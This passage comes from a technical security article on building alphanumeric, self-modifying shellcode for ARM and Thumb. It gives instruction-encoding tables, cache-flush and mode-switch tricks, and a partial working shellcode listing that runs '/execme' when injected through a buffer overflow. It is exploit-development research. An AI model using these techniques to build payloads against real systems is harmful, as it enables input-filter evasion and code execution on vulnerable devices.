‑‑‑‑[ 2.5 Writing to R0‑R2

One of the constraints, mentioned in section 2.3 on most functions that have an Rd operand, is that registers R0 to R2 cannot be used as destination register. The reason is that the destination register is encoded in the four most significant bits of the third byte of an operation. If these bits are set to the value 0, 1 or 2, this would generate a byte that is not alphanumerical.

On ARM processors, registers R0 to R3 are used to transfer parameters to function calls. If the function has more than 4 parameters, the additional parameters are pushed to the stack. This poses a problem for us, because we will need to populate registers R0 to R3 in our shellcode, in order to pass arguments to functions and system calls. However, it's not easy to write to the contents of these registers, because most operations do not support having R0‑R2 as a destination register.

There is, however, one operation that we can use to write to the three lowest registers, without generating non‑alphanumeric instructions. The LDM instruction loads values from the stack into multiple registers. It encodes the list of registers it needs to write to in the last two bytes of the instruction. Hence, if bits 0 to 2 are set, registers R0 to R2 will be used to write data to. In order to get the bytes of the instruction to become alphanumeric, we have to add some other registers to the list. In the example shellcode, we will use registers R3 to R7 to do our calculations, store the results to the stack, and then load the results in R0 to R2 with the LDM instruction.

Thumb mode doesn't suffer from this problem, because the resulting register is encoded differently.

‑‑‑‑[ 2.6 Self‑modifying Code

With the instructions that remain after discarding all non‑alphanumeric bytes, it's pretty hard to write interesting shellcode. There's only limited support for arithmetic operations, which makes it difficult to do the calculations that are necessary to make system calls. In addition, there's no branch instruction either, making loops impossible. So it seems that we are not even Turing complete.

An interesting option would be to switch from the ARM to the Thumb instruction set. Since thumb instructions are shorter, it is likely that more instructions are available for this instruction set. However, in order to go from ARM to Thumb mode, we need the BX instruction, which executes a branch and an optional exchange of processor state. This instruction is, however, not alphanumeric.

Another possibility is to write self‑modifying code. The basic idea is to compute and write non‑alphanumeric instructions to memory, using only alphanumeric instructions. Then, when the desired code is written in memory, simply jump to the instructions to execute them.

Let's take a look at an example. To keep this simple, we consider here non‑alphanumeric shellcode. Only null bytes are not allowed. Imagine you want to execute the instruction:

mov r0, #0

The resulting bytes for this instruction are 0xe3a00000. Since there are two null bytes in this instruction, we will either need another instruction or self‑modifying code. In this example, we will use self‑modifying code:

ldrh r1, [pc, #6]

eor r1, #384

strh r1, [pc, #‑2]

.byte 0xe3, 0xa0, 0x80, 0x01

In this short code fragment, we load the 0x80 and 0x01 bytes in register R1, we XOR them with 384 (which results in the value 0), and we store the result back over the original instruction. This code has no null bytes in it anymore.

‑‑‑‑[ 2.7 The Instruction Cache

ARM processors have an instruction cache which makes writing self‑modifying code hard to do since all the instructions that are being executed will most likely already have been cached. The Intel architecture has a specific requirement to be compatible with self‑modifying code and as such, will make sure that when code is modified in memory the cache that possibly contains those instructions is invalidated. ARM has no such requirement, which means that the instructions that have been modified in memory could be different from the instructions that are actually executed since they could have been cached. Given the size of the instruction cache (16kb on our processor), and the proximity of the modified instructions it is very hard to write self‑modifying shellcode without having to flush the instruction cache.

One way of ensuring that we can bypass the instruction cache is to use the MCR instruction, which allows us to move a register to the system coprocessor and is alphanumeric. We can set a specific bit in a register and then move that register to the status register of the system coprocessor, allowing us to turn off the instruction cache. However, as we mentioned in section 2.3, this instruction is privileged before ARMv6. Because it is not usable in all shellcode as such, we will not discuss it.

These cache issues and the fact that we can't just turn off the cache are the reasons why the fact that the SWI instruction can be represented alphanumerically was essential: we can't modify the SWI instruction in memory before flushing the cache, but we will need this instruction to perform a flush of the instruction cache. On ARM/Linux, the system call for a cache flush is 0x9F0002. None of these bytes are alphanumeric and since they are issued as part of an instruction this could result in a problem for our self‑modifying code. However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self‑modifyign code, the argument will be read correctly.

In non‑alphanumeric code, we would flush the instruction cache with this sequence of operations:

mov r0, #0

mov r1, #‑1

mov r2, #0

swi 0x9F0002

Since these instructions generate a number of non‑alphanumeric characters, we will need self‑modifying code techniques to use this in the shellcode.

‑‑‑‑[ 2.8 Going to Thumb Mode

As discussed in section 1.5, we don't need to go into Thumb mode to make our shellcode work, but it is more convenient since we only need to make 2 bytes alphanumeric per instruction rather than 4.

Below is an example that will get us into Thumb mode:

sub r6, pc, #‑1

bx r6

However, the BX instruction is not alphanumeric, so we must overwrite our shellcode to execute the correct instruction. We must modify this instruction before executing the system call to flush the instruction cache.

Below is the list of Thumb instructions and their constraints with respect to processor version and if it's possible to display them alphanumerically.

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| instruction | version | disqualifier |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| ADC | | |

| ADD (1) | | IZ:14‑13 |

| ADD (2) | | |

| ADD (3) | | IZ:14‑13 |

| ADD (4) | | |

| ADD (5) | | IO: 15 |

| ADD (6) | | IO: 15 |

| ADD (7) | | IO: 15 |

| AND | | Pattern is @ |

| ASR (1) | | IZ:14‑13 |

| ASR (2) | | |

| B (1) | | IO:15 |

| B (2) | | IO:15 |

| BIC | | IO:7 |

| BKPT | 5T+ | IO:15 |

| BL | | IO:15 |

| BLX (1) | 5T+ | IO:15 |

| BLX (2) | 5T+ | IO:7 |

| BX | | |

| CMN | | IO:7 |

| CMP (1) | | |

| CMP (2) | | IO:7 |

| CMP (3) | | |

| CPS | 6+ | IO:7 |

| CPY | 6+ | |

| EOR | | Pattern is @ |

| LDMIA | | IO:15 |

| LDR (1) | | |

| LDR (2) | | |

| LDR (3) | | |

| LDR (4) | | IO:15 |

| LDRB (1) | | |

| LDRB (2) | | |

| LDRH (1) | | IO:15 |

| LDRH (2) | | |

| LDRSB | | |

| LDRSH | | |

| LSL (1) | | IZ: 14‑13 |

| LSL (2) | | IO: 7 |

| LSR (1) | | IZ: 14‑13 |

| LSR (2) | | IO: 7 |

| MOV (1) | | IZ: 14,12 |

| MOV (2) | | IZ: 14‑13 |

| MOV (3) | | |

| MUL | | |

| MVN | | IO:7 |

| NEG | | |

| ORR | | |

| POP | | IO:15 |

| PUSH | | IO:15 |

| REV | 6+ | IO:15 |

| REV16 | 6+ | IO:15 |

| REVSH | 6+ | IO:15 |

| ROR | | IO:7 |

| SBC | | IO:7 |

| SETEND | 6+ | IO:15 |

| STMIA | | IO:15 |

| STR (1) | | |

| STR (2) | | |

| STR (3) | | IO:15 |

| STRB (1) | | |

| STRB (2) | | |

| STRH (1) | | IO:15 |

| STRH (2) | | |

| SUB (1) | | IZ: 14‑13 |

| SUB (2) | | |

| SUB (3) | | IZ: 14‑13 |

| SUB (4) | | IZ:15 |

| SWI | | IZ:15 |

| SXTB | 6+ | IZ:15 |

| SXTH | 6+ | IZ:15 |

| TST | | |

| UXTB | 6+ | IZ:15 |

| UXTH | 6+ | IZ:15 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

If we remove instructions which are not available on all ARM architectures, can not be represented alphanumerically or require special hardware, and then group together the instructions with similar purposes, we get the following list of instructions ‑ ADC: Add with Cary

‑ ADD: Add

‑ ASR: Arithmetic Shift Right

‑ BX: Branch and Exchange

‑ CMP: Compare

‑ LDR: Load Register

‑ MOV: Move

‑ MUL: Multiply

‑ NEG: Negate

‑ ORR: Logical Or

‑ STR: Store Register

‑ SUB: Substract

‑ TST: Test

As you can see we have a lot more instructions available in Thumb mode than we did in ARM mode. However there are many constraints on the use of these instructions. For every instruction we can only use specific registers or specific values. The constraints here are more esoteric than they are for ARM because of the limited size of instructions. We will go over each instructions and its limitations.

‑ ADC: Syntax: ADC <Rd>, <Rm>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑

| 0| 1| 0| 0| 0| 0| 0| 1| 0| 1| Rm | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑

Since bit 7 is set to 0 and bit 6 is set to one, we can use just about any low register for Rm and Rd, the only combination of registers that we must exclude is the use of R0 as both Rm and Rd since that would result in 0x40 or an '@'. The main problem with this instruction is that we must know the value of the carry flag as it will be added to the result of the addition.

‑ ADD: There are seven versions of the thumb mode ADD instruction listed in the reference manual. We will refer to them as the reference manual does, i.e. ADD (1) to ADD (7).

ADD (1), ADD (3), ADD (5), ADD (6) and ADD (7) can not be used because their first byte is not alphanumeric.

This leaves us with:

‑ ADD (2): add a constant value to a register Syntax: ADD <Rd>, #<imm_8>

15 14 13 12 11 10 8 7 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

| 0| 0| 1| 1| 0| Rd | imm_8 |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

Rd can be any low register but imm_8 must follow the constraints of being alphanumeric: ‑ 47 < imm_8 < 123 ‑ imm_8 is not 58‑64 or 91‑96. ‑ ADD (4): adds the value of two registers of which one or both must be a high register. Syntax: ADD <Rd>, <Rm>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑

| 0| 1| 0| 0| 0| 1| 0| 0| H1| H2| Rm | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑

With H1 = 1 if Rd is a high register and H2 = 1 if Rm is a high register.

In our case the destination register, Rd may not be a high register because that would set bit 7 of the instruction to 1. As a result, we can only use this instruction to add the contents of a high register to a low one. However since bit 7 must be 0 and bit 6 must be 1, we can't use register R8 as Rm and R0 as Rd together (i.e. we can't do ADD r0, r8) since that would result in the second byte being an '@'. In theory we could use this instruction to be able to add 2 low registers to each other, since for some registers the encoding would still be alphanumeric, however the reference manual specifies that if both registers are low, then the result is unpredictable. So the behavior may vary from one processor version to the next.

‑ ASR: There are two versions of ASR, ASR (1) and (2) respectively. ASR (1) allows the shifting of a register by a constant, however this is not alphanumeric. So we must use the second version of this instruction, ASR (2), which shifts a register based on the value in another register.

Syntax: ASR <Rd>, <RS>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑

| 0| 1| 0| 0| 0| 0| 0| 1| 0| 0| Rs | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑

Since bits 7 and 6 of ASR are 0, the first 2 bits of Rs must be 1. This means that Rs must be either R6 or R7.

‑ BX: Syntax: BX <Rm>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑+‑‑

| 0| 1| 0| 0| 0| 1| 1| 1| 0| H2| Rm | SBZ |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑+‑‑

The branch and exchange instruction can be used to enter ARM mode. This is useful if we have code which starts off in Thumb mode: since SWI is not alphanumeric in Thumb, we can't flush the cache if we write self‑modifying code. We can, however use the BX instruction to get into ARM mode, where the SWI instruction is alphanumeric. We discuss this in more detail below.

If bit 6 is 0, we must have bits 5 and 4 set to 1, this means that we can only use R6 and R7 from the low registers. For the high registers we can use R9, R10, R11, R13, R14 and R15

‑ CMP: There are three versions of CMP: CMP (1) to CMP (3). CMP (2) is not alphanumeric.

‑ CMP (1) compares a register to an immediate. Syntax: CMP <Rn>, #<imm_8>

15 14 13 12 11 10 8 7 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑

| 0| 0| 1| 0| 1| Rn | imm_8 |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑

As with ADD (2), Rn can be any low register but imm_8 must follow the constraints of being alphanumeric: ‑ 47 < imm_8 < 123

‑ imm_8 is not 58‑64 or 91‑96.

‑ CMP (3) compares the value of two registers of which one or both must be a high register.

Syntax: CMP <Rn>, <Rm>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑+

| 0| 1| 0| 0| 0| 1| 0| 1| H1| H2| Rm | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑+

The same restrictions apply as for ADD. In our case Rn may not be a high register because that would set bit 7 of the instruction to 1. As a result, we can only use this instruction to compare the contents of a high register to a low one. As with ADD, Rm can not be R8 if Rn is R0 and comparing two low registers is unpredictable.

‑ LDR: There are many versions of this instruction: LDR (1) to LDR (4), LDRB (1), LDRB (2), LDRH (1), LDRH (2), LDRSB and LDRSH. Of these, only LDR (4) and LDRH (1) are not alphanumeric.

‑ LDR (1) Loads a word from memory address stored in a register into another register. A word offset of maximum 5 bits (i.e. the value is multiplied by 4) can be given to the register containing the memory address.

Syntax: LDR <Rd>, [<Rn>, #<imm_5> * 4]

15 14 13 12 11 10 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| 0| 1| 1| 0| 1| imm_5 | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

The constraints on register use in this case depend on the value of the immediate. However, we can conclude that in no cases can Rn and Rd both be R0 at the same time.

If imm_5 is uneven (i.e. bit 6 is set) , then all other registers can be used. However, if imm_5 is even (i.e. bit 6 is not set), then only R6 and R7 can be used as Rn.

‑ LDR (2) does the same as LDR (1) except that the offset to the register containing the memory address to read from is stored in a register and as a result can be larger than 32. Syntax: LDR <Rd>, [<Rn>, <Rm>]

15 14 13 12 11 10 9 8 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

| 0| 1| 0| 1| 1| 0| 0| Rm | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

Since bit 7 must be 0, Rm is already constrained to registers: R0, R1, R4 and R5. However, if Rm is R0 or R4, then Rn must be R6 or R7. If Rm is R1 or R5 then Rn and Rd can not both be R0. ‑ LDR (3) loads a word into a register based on an 8 bit offset from the program counter (PC).

Syntax: LDR <Rd>, [PC, #<imm_8> * 4]

15 14 13 12 11 10 8 7 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

| 0| 1| 0| 0| 1| Rd | imm_8 |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

As with ADD (2) and CMP (1) Rd can be any low register but imm_8 must follow the constraints of being alphanumeric. ‑ LDRB (1) is essentially the same as LDR (1) except that it loads a byte from memory instead of a word.

Syntax: LDRB <Rd>, [<Rn>, #<imm_5>]

15 14 13 12 11 10 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| 0| 1| 1| 1| 1| imm_5 | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

Similar restrictions apply, with the added restriction however that imm_5 must be lower than 12, because otherwise the first byte is larger than 'z' (0x7a). However, if imm_5 is 11 or 10, then bit 7 of the second byte will be set to one, so in reality it must be lower than 10 and not equal 7, 6, 2 or 3.

‑ LDRB (2) is the same as LDR (2) except that it behaves like LDRB (1), i.e. it loads a byte instead of a word. Syntax: LDRB <Rd>, [<Rn>, <Rm>]

15 14 13 12 11 10 9 8 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

| 0| 1| 0| 1| 1| 1| 0| Rm | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

Since the second byte is identical, the same restrictions as for LDR (2) apply.

‑ LDRH (2) is the same as LDR (2) and LDRB (2), except it loads a halfword (16 bits).

Syntax: LDRH <Rd>, [<Rn>, <Rm>]

15 14 13 12 11 10 9 8 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

| 0| 1| 0| 1| 1| 0| 1| Rm | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

The same restrictions as for LDR (2) and LDRB (2) apply. ‑ LDRSB is the same as LDRB (2), except that it interprets the byte that it loads as signed.

Syntax: LDRSB <Rd>, [<Rn>, <Rm>]

15 14 13 12 11 10 9 8 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

| 0| 1| 0| 1| 0| 1| 1| Rm | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

Again, the same restrictions apply as for LDRB(2). ‑ LDRSH is the halfword equivalent of LDRSB. Syntax: LDRSH <Rd>, [<Rn>, <Rm>]

15 14 13 12 11 10 9 8 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

| 0| 1| 0| 1| 1| 1| 1| Rm | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

The same restrictions apply as for LDRB(2) and LDRH (2).

‑ MOV: There are three versions of this instrction: MOV (1) to MOV (3), but only MOV (3) is alphanumeric. MOV (3) moves to, from or between high registers.

Syntax: MOV <Rd>, <Rm>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑+‑‑‑

| 0| 1| 0| 0| 0| 1| 1| 0| H1| H2| Rm | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑+‑‑‑

As with other instructions (ADD and CMP) that operate on high registers, Rd can not be R0 if Rm is R8 and using two low registers is unpredictable.

‑ MUL: Syntax: MUL <Rd>, <Rm>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑

| 0| 1| 0| 0| 0| 0| 1| 1| 0| 1| Rm | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑

Since the second byte of MUL is identical to the second byte of the ADC instruction, it has the same limitations.

I.e. the only limitation on registers is that we can't use R0 as both Rm and Rd, all other combinations with low registers are valid.

‑ NEG: Syntax: NEG <Rd>, <Rm>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑

| 0| 1| 0| 0| 0| 0| 1| 0| 0| 1| Rm | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑

The second byte of NEG is identical to the second bytes of MUL and ADC, so the same limitations apply.

‑ STR: As with LDR, there are many versions of STR: STR (1) to STR (3), STRB (1) and (2), STRH (1) and (2). However STR (3) and STRH (1) are not alphanumeric.

‑ STR (1) the complementary instruction to LDR (1) stores a word from a register to memory. As with LDR (1), it will take an immediate of 5 bytes that it multiplies by 4 and uses as offset for a base register that contains a memory address to write to. Syntax: STR <Rd>, [<Rn>, #<imm_5> * 4]

15 14 13 12 11 10 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| 0| 1| 1| 0| 0| imm_5 | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

The same limitations as with LDR (1) apply.

‑ STR (2) is the complementary instruction to LDR (2). Syntax: STR <Rd>, [<Rn>, <Rm>]

15 14 13 12 11 10 9 8 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

| 0| 1| 0| 1| 0| 0| 0| Rm | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

Again, the same limitations as with LDR (2) apply. ‑ STRB (1) is complementary to LDRB (1).

Syntax: STRB <Rd>, [<Rn>, #<imm_5>]

15 14 13 12 11 10 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| 0| 1| 1| 1| 0| imm_5 | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

Since bit 11 is 0, the limitations are less stringent than with LDRB (1). As such, the limitations of STR (1) apply rather than the ones of LDRB (1).

‑ STRB (2) is complementary to LDRB (2)

Syntax: STRB <Rd>, [<Rn>, <Rm>]

15 14 13 12 11 10 9 8 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

| 0| 1| 0| 1| 0| 1| 0| Rm | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

The same limitations as with LDRB (2) apply.

‑ STRH (2) is complementary to LDRH (2).

Syntax: STRH <Rd>, [<Rn>, <Rm>]

15 14 13 12 11 10 9 8 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

| 0| 1| 0| 1| 0| 0| 1| Rm | Rn | Rd |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑

The same limitations apply.

‑ SUB: There are four versions of SUB, but only SUB (2) is alphanumeric. Syntax: SUB <Rd>, <imm_8>

15 14 13 12 11 10 8 7 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

| 0| 0| 1| 1| 1| Rd | imm_8 |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

Since the second byte of SUB (2) only contains an immediate, it has the same limitations as the second byte of ADD (2), CMP (1) and LDR(3).

However, unlike in ADD (2), CMP (1) and LDR (3), we can't use any register for Rd. Since the first 5 bits of SUB are 00111, this covers a range of 0x38 to 0x3f. However only 0x38 and 0x39 (the characters '8' and '9') are alphanumeric. This means that we can only use registers R0 and R1 as Rd this SUB instruction.

‑ TST: Syntax: TST <Rn>, <Rm>

15 14 13 12 11 10 9 8 7 6 5 3 2 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑

| 0| 1| 0| 0| 0| 0| 1| 0| 0| 0| Rm | Rn |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑

Since bit 7 and 6 are both set to 0, this means that bits 5 and 4 must be set to 1. This yields the following restrictions: ‑ Rm must be either: R6 or R7.

‑ If Rm is R6, then Rn can be any other low register. ‑ If Rm is R7, then Rn can only be R0 or R1.

An important instruction that is missing from the above list is the SWI instruction. To be able to get around the fact that SWI is not alphanumeric in Thumb mode, we overwrite it from ARM mode. However, unlike the SWI in ARM mode, the argument to SWI will not be used to determine the system call number that we want to call. Instead we must place the system call number into R7. Unlike in ARM mode, where we must add 0x900000 to the system call number, we can just place the number in R7 as is.

An example of calling execve in ARM mode:

SWI 0x90000b

In Thumb mode:

MOV r7, #0x0b

SWI 48

‑‑‑‑[ 2.9 Going to ARM Mode

For programs that we wish to exploit that are already running in Thumb mode, we still have a problem: we can't write self‑modifying code in Thumb mode because we can't call SWI to perform a cache flush. However, since the BX instruction is alphanumeric in Thumb mode, we can use that instruction to get us into ARM mode where we can do all the cool stuff we've discussed above. Here is an example of a code snippet that gets us into ARM mode:

BX pc

ADD r7, #50

We need the add instruction as a nop instruction because PC will point to the current instruction + 4. The BX pc instruction

will be represented alphanumerically as 'G''x'.

‑‑[ 3. Conclusion

This article shows that alphanumeric shellcode is realistic on the ARM processor, even though it is harder to generate because of the nature of the ARM processor. Any operation, including non‑alphanumeric instructions, can be executed by writing self‑modifying code and flushing the instruction cache. Consequently, alphanumeric shellcode is Turing complete.

The thumb instruction set can be used, if available, to facilitate writing shellcode. Its denser instruction structure makes it somewhat easier to make it generate alphanumeric bytes. However, having access to the thumb instruction set is not required.

‑‑[ 4. Acknowledgements

The authors would like to thank Frank Piessens, tetsuki and

tohomo for their contributions to the project which resulted

in this article.

We would also like to thank HD Moore for his helpful suggestions when we were trying to make our shellcode printable.

Shoutouts to the people from nologin/uninformed: arachne, bugcheck, dragorn, gamma, h1kari, hdm, icer, jhind, johnycsh, mercy, mjm, mu‑b, nemo, ninja405, pandzilla, pusscat, rizzo, rjohnson, sih, skape, skywing, slow, trew, vf, warlord, wastedimage, west, X, xbud

‑‑[ 5. References

[0] The ARM Architecture Reference Manual http://www.arm.com/miscPDFs/14128.pdf

[1] Writing ia32 alphanumeric shellcodes http://www.phrack.org/issues.html?issue=57&id=18#article

[2] Into my ARMs: Developing StrongARM/Linux shellcode http://www.isec.pl/papers/into_my_arms_dsls.pdf

‑‑[ A. Shellcode Appendix

‑‑‑‑[ A.0 Writable Memory

For debugging purposes, it is convenient to execute the shellcode as a normal application, instead of injecting it into a buffer. However, if it's compiled as a normal application, the code will be loaded in non‑writable code memory. Since our shellcode is self‑modifying, the application will first have to set the memory to writable before executing the code. This can be done with the following code fragment:

.ARM

# set the text section writable

MOV r0, #32768

MOV r1, #4096

MOV r2, #7

BL mprotect

Of course, this is not necessary when the shellcode is injected through a buffer overflow. The memory that contains the buffer will always be writable.

‑‑‑‑[ A.1 Example Shellcode

In this example, the shellcode starts up, switches to thumb mode and executes the application "/execme". Some of the techniques presented here are: getting a known value into a register, modifying our own shellcode, flushing the instruction cache, and switching from ARM to Thumb.

# our shellcode starts here

# nops

SUBPL r3, r1, #56

SUBPL r3, r1, #56

# do not change these instructions

# we will use them to load a value

# into our register

SUBPL r3, r1, #56

SUBPL r3, r1, #56

# continue nops

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

SUBPL r3, r1, #56

# we can't load directly from

# PC so we must get PC into r3

# we do this by subtracting 48

# from PC

SUBMI r3, pc, #48

SUBPL r3, pc, #48

# load 56 into r3

LDRPLB r3, [r3, #‑48]

LDRMIB r3, [r3, #‑48]

# Set r5 to ‑1

# update the flags: result is negative

# so we know we need MI from now on

SUBMIS r5, r3, #57

SUBPLS r5, r3, #57

# r7 to stackpointer

SUBMI r7, SP, #48

# Set r3 to 0

# set positive flag

SUBMIS r3, r3, #56

# set r4 to 0

SUBPL r4, r3, r3, ROR #2

# Set r6 to 0

SUBPL r6, r4, r4, ROR #2

# store registers to stack

STMPLFD r7, {r0, r4, r5, r6, r8, lr}^

# r5 to ‑121

SUBPL r5, r4, #121

# copy PC to r6

SUBPL r6, PC, r5, ROR #2

SUBPL r6, r6, r5, ROR #2

SUBPL r6, r6, r5, ROR #2

SUBPL r6, r6, r5, ROR #2

SUBPL r6, r6, r5, ROR #2

SUBPL r6, r6, r5, ROR #2

SUBPL r6, r6, r5, ROR #2

# write 0 to SWI 0x414141

# becomes: SWI 0x410041

# OFFSET USED HERE

# IF CODE CHANGES, CHANGE OFFSET

STRPLB r3, [r6, #‑100]

# put 56 back into r3

# we are positive after this

EORPLS r3, r3, #56

SUBPL r7, r3, #57

# write 9F to SWI 0x410041

# becomes SWI 0x9F0041

# we are negative after this

EORPLS r5, r7, #80

# negative

EORMIS r5, r5, #48

# OFFSET USED HERE

# IF CODE CHANGES, CHANGE OFFSET

STRMIB r5, [r6, #‑99]

# write 2 to SWI 0x9F0041

# becomes SWI 0x9F0002

SUBMI r5, r3, #54

STRMIB r5, [r6, #‑101]

# write 0x16 to 0x41303030

# becomes 0x41303016

# positive

EORMIS r5, r3, #66

EORPLS r5, r5, #108

# OFFSET USED HERE

# IF CODE CHANGES, CHANGE OFFSET

STRPLB r5, [r6, #‑89]

# write 2F to 0x41303016

# becomes 0x412F3016

EORPLS r5, r3, #86

EORPLS r5, r5, #65

# OFFSET USED HERE

# IF CODE CHANGES, CHANGE OFFSET

STRPLB r5, [r6, #‑87]

# write FF to 0x412FFF16

# becomes 0x412FFF16 (BXPL r6)

# OFFSET USED HERE

# IF CODE CHANGES, CHANGE OFFSET

STRPLB r7, [r6, #‑88]

# r7 = ‑1

# set r3 to ‑121

SUBPL r3, r7, #120

#

SUBPL r6, r6, r3, ROR #2

# write DF for swi to 0x3030

# becomes 0xDF30 (SWI 48)

# becomes negative

EORPLS r5, r7, #97

EORMIS r5, r5, #65

# OFFSET USED HERE

# IF CODE CHANGES, CHANGE OFFSET

STRMIB r5, [r6, #‑73]

# Set positive flag

